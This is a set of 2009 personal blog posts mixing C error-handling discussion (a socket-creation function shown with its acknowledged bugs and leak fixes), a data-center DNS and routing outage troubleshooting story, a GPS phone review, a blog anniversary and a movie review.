So, if you are using it, you might want to check over the changes and see if you think it's time to upgrade.
Programs are buggy because error checking is tedious and error prone. Ironic, don't you think?
“There are no easy answers when it comes to reporting and handling errors.”
P. J. Plauger
I release a new version of the greylist daemon and what happens? Mark finds a bug.
Or rather, the new version didn't fix his current problem.
I take a look into the issue and it's not terribly surprising that I botched handing a particular error.
Sigh.
Error handling was taught by osmosis at college. It was expected that we just magically pick up on handling errors but really, as long as the program didn't outright crash and produced something vaguely like the output, all was fine.
In fact, when I expressly asked one my instructors what to do when handling a particular thorny error, I was told, point blank: “if you don't know how to handle the error, then don't check for it.” The instructor, sadly, had a point—you could go mad from trying to handle every possible error condition.
It's not hard to test for errors. In C, just about every function you
can think of can return an error (with a few exceptions, like
getpid()
under Unix—if a process can't get its own process
ID, then you have other things to worry about). But checking the return of
every function call gets tedious, fast. What was once a small
concise function:
int create_socket(struct sockaddr *paddr,socklen_t saddr) { ListenNode listen; struct epoll_event ev; int reuse = 1; assert(paddr != NULL); assert(saddr > 0); listen = malloc(sizeof(struct listen_node)); memset(listen,0,sizeof(struct listen_node)); memcpy(&listen->local,paddr,saddr); listen->fn = event_read; listen->sock = socket(paddr->sa_family,SOCK_DGRAM,0); setsockopt(listen->sock,SOL_SOCKET,SO_REUSEADDR,&reuse,sizeof(reuse)); fcntl(listen->sock,F_GETFL,0); fcntl(listen->sock,F_SETFL,rc | O_NONBLOCK); bind(listen->sock,paddr,saddr); memset(&ev,0,sizeof(ev)); ev.events = EPOLLIN; ev.data.ptr = listen; epoll_ctl(g_queue,EPOLL_CTL_ADD,listen->sock,&ev); return listen->sock; }
becomes twice as big as each function call is wrapped up in an
if
statement:
int create_socket(struct sockaddr *paddr,socklen_t saddr) { ListenNode listen; struct epoll_event ev; int reuse = 1; assert(paddr != NULL); assert(saddr > 0); listen = malloc(sizeof(struct listen_node)); if (listen == NULL) return -1; memset(listen,0,sizeof(struct listen_node)); memcpy(&listen->local,paddr,saddr); listen->fn = event_read; listen->sock = socket(paddr->sa_family,SOCK_DGRAM,0); if (listen->sock == -1) { perror("socket()"); return -1; } if (setsockopt(listen->sock,SOL_SOCKET,SO_REUSEADDR,&reuse,sizeof(reuse)) == -1) { perror("setsockopt()"); return -1; } if fcntl(listen->sock,F_GETFL,0) == -1) { perror("fcntl(GETFL)"); return -1; } if (fcntl(listen->sock,F_SETFL,rc | O_NONBLOCK) == -1) { perror("fcntl(SETFL)"); return -1; } if (bind(listen->sock,paddr,saddr) == -1) { perror("bind()"); return -1; } memset(&ev,0,sizeof(ev)); ev.events = EPOLLIN; ev.data.ptr = listen; if (epoll_ctl(g_queue,EPOLL_CTL_ADD,listen->sock,&ev) == -1) { perror("epoll_ctl(ADD)"); return -1; } return listen->sock; }
And even this isn't all that great. The function prints what happened
(via the perror()
call) but that presupposes that
stderr
(the standard error reporting file) is open! If it's
not open, well then … if you're lucky, perror()
(or whatever
code it eventually calls) checks to see if stderr
is open and
if not, just … fail … gracefully? I guess? Hopefully? Maybe?
But even if we could return what failed to the caller, then that means
the implementation details get pushed out of the
create_socket()
function (which is typically considered a “bad
idea”). Even setting that aside, what can the caller do? Well, not much
really.
The socket()
call could fail because there's not enough
kernel memory, or there's too many files already open, we don't have
permission to create the socket, or the protocol isn't supported. Don't
have the right privileges? If the process isn't root, there's not much that
can be done (and if the process was root, there wouldn't be an issue). Not
enough kernel memory? I wouldn't even know what to do in that case
except kill off a few processes or reboot the box. But in each case, there
isn't much the program can do except give up (and maybe attempt to log the
error somewhere).
And all the other calls are pretty much the same—no memory, no privileges, can't do it, etc. We can break the errors down into a few categories:
- programming errors, like
EBADF
(not an open file, or the operation couldn't be done given how the file was open originally) orEINVAL
(invalid parameter) that need to be fixed, but once fixed, never happens again; - it can be fixed, like
EACCESS
(bad privileges) orELOOP
(too many symbolic links when trying to resolve a filename) but that the fix has to happen outside the scope of the program, but once fixed, tends not happen again unless someone made a mistake; - better exit the program as quickly and cleanly as possible
because something bad, like
ENOMEM
(insuffient kernel memory) just happened and things are going bad quickly. Depending upon the circumstances, a fast, hard crash might be the best thing to do; - and finally, the small category of errors that a program
might be able to handle, like
ENOENT
(file doesn't exist) depending upon the context (it could then create the file, or ask the user for a different file, etc.).
The problem being: a program can run for ages before you see an error (Mark ran my greylist daemon for a few years before the error manifested itself, and only then because the server operating system was upgraded—the bug he hit was of the last category—something it could have handled, but I didn't handle it properly) so it's not uncommon for error paths in programs to have, well, errors (ironically enough).
In fact, there's really only three ways to handle errors:
- every subroutine returns an indication of success or failure (C uses this—the “calls filter downward, errors bubble upwards” model) and every call site needs a check;
- subroutines can cause an exception, which immediately transfers program flow control to some earlier caller up the stack frame, which caller gets the exception depends upon which caller is expecting which exception (C++ uses this—the “dynamic spaghettiesque come-from” model);
- ignore errors entirely and assume everything will always work (you can do this in any programming language—it's from the Alfred E. Neuman “What? Me, worry?” school of programming).
Each method has its pros and cons and nobody is really happy with any of the methods, but really, that's all there is when you get down to it. The first is tedious, but doesn't require any special langauge features; the second requires support in the language, and even so, is really spaghetti code in hiding and the third … well, again, no special language support is needed, isn't tedious and it tends to make the code fast but, well … let's just say that the error recovery can make a programmer go postal.
I just wish there was a better way …
Update on Wednesday, Debtember 2nd, 2009
I could claim I left finding the errors in the code above as an exercise for the reader, but really, I blew it.
Wednesday, Debtember 02, 2009
I told you handing errors was error prone
- From
- Mark Grosberg <XXXXXXXXXXXXXXXXX>
- To
- sean@conman.org
- Subject
- Blog post.
- Date
- Wed, 2 Dec 2009 15:59:55 -0500 (EST)
I find it even more amusing that you didn't get the error handling right in the
create_socket()
on your current blog post.Notice that you leak the socket and/or memory in the error cases. I guess it really is hard to handle errors. ;-)
Sorry, I just had to take this cheap shot!
-MYG
Heh.
Yup, I blew it again for demonstration purposes.
The code I posted yesterday was
actually pulled from a current project where the
create_socket()
is only called during initialization and if it
fails, the program exits. Since I'm on a Unix system, the “lost”
resources like memory and sockets are automatically reclaimed. Not all
operating systems are nice like this.
There are a few ways to fix this. One, is to use a langauge that handles such details automatically with garbage collection, but I'm using C so that's not an option. The second one is to add cleanup code at each point we exit, but using that we end up with code that looks like:
/* ... */ if fcntl(listen->sock,F_GETFL,0) == -1) { perror("fcntl(GETFL)"); close(listen->socket); free(listen); return -1; } if (fcntl(listen->sock,F_SETFL,rc | O_NONBLOCK) == -1) { perror("fcntl(SETFL)"); close(listen->socket); free(listen); return -1; } if (bind(listen->sock,paddr,saddr) == -1) { perror("bind()"); close(listen->socket); free(listen); return -1; } /* ... */
Lots of duplicated code and the more complex the routine, the more complex the cleanup and potential to leak memory (or other resources like files and network connections). The other option looks like:
/* ... */ if fcntl(listen->sock,F_GETFL,0) == -1) { perror("fcntl(GETFL)"); goto create_socket_cleanup; } if (fcntl(listen->sock,F_SETFL,rc | O_NONBLOCK) == -1) { perror("fcntl(SETFL)"); goto create_socket_cleanup; } if (bind(listen->sock,paddr,saddr) == -1) { perror("bind()"); goto create_socket_cleanup; } /* rest of code */ return listen->sock; /* everything is okay */ create_socket_cleanup: close(listen->sock); create_socket_cleanup_mem: free(listen); return -1; }
This uses the dreaded goto
construct, but is one of the few
places that it's deemed “okay” to use goto
, for cleaning up
errors. No code duplication, but you need to make sure you cleanup (or
unwind, or whatever) in reverse order.
So yeah, error handling … maddening.
I still wish there was a better way …
This actually doesn't sound half bad …
It's no secret that we've been openly critical of the prices charged by automakers for built-in GPS navigation systems. Frankly, paying $2,000 or more for an in-dash system when you can buy stand-alone navigation units for as little as $100 is ridiculous. Even the newer, larger seven-inch screen units are now down to as little as $250, and even though they aren't tied in to a vehicles' wheel sensors, they tend to be plenty accurate. Now, however, there is a new option that is even cheaper – as in (sort of) free.
It's only "sort of" free because the Google maps turn-by-turn navigation app is built into the new Motorola Droid smartphone (see sister-site Engadget's full review of the Droid here) that recently became available from Verizon Wireless. In this case, you have to sign up for two years of mobile phone service, which includes a data plan. I've been a Verizon customer for a decade and just happened to be up for a biennial discounted phone upgrade. When the Droid appeared a few weeks ago, the plan to wait until the new year for a Palm Pre was discarded. We've now had the chance to play with the Droid and its new navigation software, so follow the jump to find out if it lives up to expectations.
Via Instapundit, Review: Google Maps turn-by-turn navigation on Android 2.0 — Autoblog
For Corsair, who loves his gadgets, and because he hates AT&T.
Personally, I wouldn't mind this. I think the combination of Google Maps and a GPS is wonderful, although I wouldn't use the turn-by-turn navigation (map view is fine by me, with spot checks with the street view to avoid potentially bad areas). I would also like a larger screen, but hey, you can't have everything.
Shop for a home, from your home
And speaking of Google Maps—I did not know you can now see real estate listings, along with photos, videos, Wikipedia articles and webcams.
Wow.
I'm both impressed, and a bit scared at what Google knows …
Update a few minutes later …
&hellip and forclosures …
Friday, Debtember 04, 2009
Has it really been that long already?
Today marks the 10th year of this blog. Not many bloggers have reached this milestone (how many bloggers do you know who started in 1999? I thought so).
I may not have posted consistently, but I'm still chugging away here 10 years later.
Tuesday, Debtember 08, 2009
The woodpeckers are coming
If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization.
Sad to say that's the first thing that came to mind at the end of tonight's (or rather, this morning's) adventures.
Around midnight the Data Center In Boca Raton fell off the face of the Internet. I caught it just as it happened (checking things out on the new router I installed at a customer site some six hours earlier) and by the time I left a voice mail message to our upstream and talked to Smirk (he called as I was leaving the voice mail message), the Data Center In Boca Raton was back on the Internet.
Shortly after that, I was scanning the logs from snmptrapd
(I have all our routers sending SNMP traps to a central server) I got fed up with seeing
stuff like:
2009-12-06 06:28:08 XXXXXXXXXXXXXXXXXXXXXXXXX [XXXXXXXXXXXXXX]: SNMPv2-MIB::sysUpTime.0 = Timeticks: (125022780) 14 days, 11:17:07.80 SNMPv2-MIB::snmpTrapOID.0 = OID: SNMPv2-SMI::mib-2.14.16.2.10 SNMPv2-SMI::mib-2.14.1.1 = IpAddress: XXXXXXXXXXXXXX SNMPv2-SMI::mib-2.14.7.1.1 = IpAddress: XXXXXXXXXXXXXX SNMPv2-SMI::mib-2.14.7.1.2 = INTEGER: 0 SNMPv2-SMI::mib-2.14.10.1.3 = IpAddress: XXXXXXXXXXXXXX SNMPv2-SMI::mib-2.14.16.1.3 = INTEGER: 4 SNMPv2-SMI::mib-2.14.4.1.2 = INTEGER: 1 SNMPv2-SMI::mib-2.14.4.1.3 = IpAddress: XXXXXXXXXXXXXX SNMPv2-SMI::mib-2.14.4.1.4 = IpAddress: XXXXXXXXXXXXXX
(only on one line). It makes it hard to figure out what the heck the
router is complaining about and I wanted to change the format the MIBs to make them easier to
read. I changed the command line options to snmptrapd
only to
get:
/usr/sbin/snmptrapd: symbol lookup error: /usr/lib/libnetsnmpmibs.so.5: undefined symbol: netsnmp_TCPIPv6Domain
Mind you, it took a good ten minutes of scratching my head over why
/etc/init.d/snmptrapd start
wasn't before trying to run it at
the command line.
All I know—it was running fine a few minutes before, but not now. I
guess something changed in the 130 days since the server rebooted (my guess:
a new version of snmptrapd
without a corresponding new version
of some library—did I mention I hate package managers?). No problem, as I
had a locally installed copy in /usr/local/sbin/snmptrapd
I
could use.
I rebooted the server (it's a virtual server—takes less than a minute)
when I noticed some odd issues with syslogd
.
Okay, I'm not running the default syslog
that comes with the
distribution—no, I've been testing a homegrown syslog
(which
I will get around to talking about—it's quite cool) and it was basically
hanging when starting up (enough that some program called
minilogd
was starting up, even though I have no XXXXXXX clue as to what is starting it—I can't find any
reference to it in the startup scripts).
Eventually, I figure out it's blocking on a DNS lookup (I'm relaying syslog
traffic to a
centralized server, but that's, as Alton Brown says, is another show),
which is odd, because DNS
hasn't been an issue.
I check, and I see I'm only using one of the two DNS resolvers we have.
I can't resolve.
I can ping
the DNS server from the server I'm on.
I can ssh
to the DNS server from the server I'm on.
I just can't resolve DNS queries.
Now, the DNS resolver and the server I'm on are both virtual servers.
On the same physical computer.
The other resolver?
That's a virtual server on another physical computer and yes, I can resolve fine using that (so I set the default DNS resolver to be the one that is working while I try to troubleshoot the current issue that shouldn't be happening).
We used to have an issue with some virtual servers using that virtual DNS resolver, but I thought we had that licked months ago.
Maybe it's back?
I check iptables
everywhere and no … should be fine.
A couple of hours go by.
I've finally isolated the issue—the resolver itself can't resolve.
But the other one can.
It was then I noticed some odd messages being logged to
syslog
and coming from our monitoring system:
HOST ALERT: XXXXXXXXXXXXXXX;DOWN;SOFT;14; (No Information Returned From Host Check) HOST ALERT: XXXXXXXXXXXXXXX;DOWN;SOFT;15;CRITICAL - Host Unreachable (XXXXXXXXXXXXX) HOST ALERT: XXXXXXXXXXXXXXX;DOWN;SOFT;16;CRITICAL - Host Unreachable (XXXXXXXXXXXXX)
Hmm … our monitoring system in Charlotte can't reach our resolver …
okay, let's do a traceroute
from Charlotte to the resolver
and—
OH XXXXX XXXXXXX XXXXX ON A XXXXXXX XXXX XXXXX! No wonder I'm having DNS issues—the netblock the resolvers are on isn't being announced! WXXX TXX FXXX‽
That little outtage around midnight? Apparently our upstream's upstream had a slightly larger issue and couldn't route (what turned out to be) a few of our netblocks. We do have multiple connections to the Internet, but … well … it's a long story, but basically, just running BGP isn't enough—no, we have to send authorization emails to have the other provider to announce our routes that normally go through the one that had (and was still having) issues.
Okay, so the problem(s) at hand. The fact that the netblock our DNS resolvers were on weren't being announced would explain why the one resolver couldn't even resolve using itself; the other resolver probably had a larger working DNS cache and never had to send a query.
I swear, the number of “moving parts” a modern networked computer has to deal with is amazing, and it's amazing it works at all as well as it does, when it does. But man, when it breaks, it breaks and it's a bitch to troubleshoot (especially when you're doing it remotely—why even suspect the network in such a case?).
Tuesday, Debtember 22, 2009
Angels & Demons
Bunny and I saw “Angels and Demons” tonight, and I must say, it was way more enjoyable than the book, mainly because the movie excised some of the sillier aspects of the book, like the harrowing helicopter ride (and if you've read the book, you know of which I speak)and the death of the evil henchmen is handled better.
Oh, and no X-33 airplane (thankfully).
The backstory of the recently deceased Pope was removed, which was one aspect of the book I found interesting, but I can see why it was cut for the movie—simply no time to delve into it.
Overall, I enjoyed the movie way more then the book.
Then again, the book felt like a rought draft of a movie anyway.
Friday, Debtember 25, 2009
Festive Christian feast, good fellowship commemorating the rededcation of the Temple of Jerusalem and a high sprited African-American cultural festival
May your holiday be bright and merry.
Also, please enjoy David Sedaris talking about Christmas traditions in Europe (with some hunting traditions in Texas and Michigan—good stuff).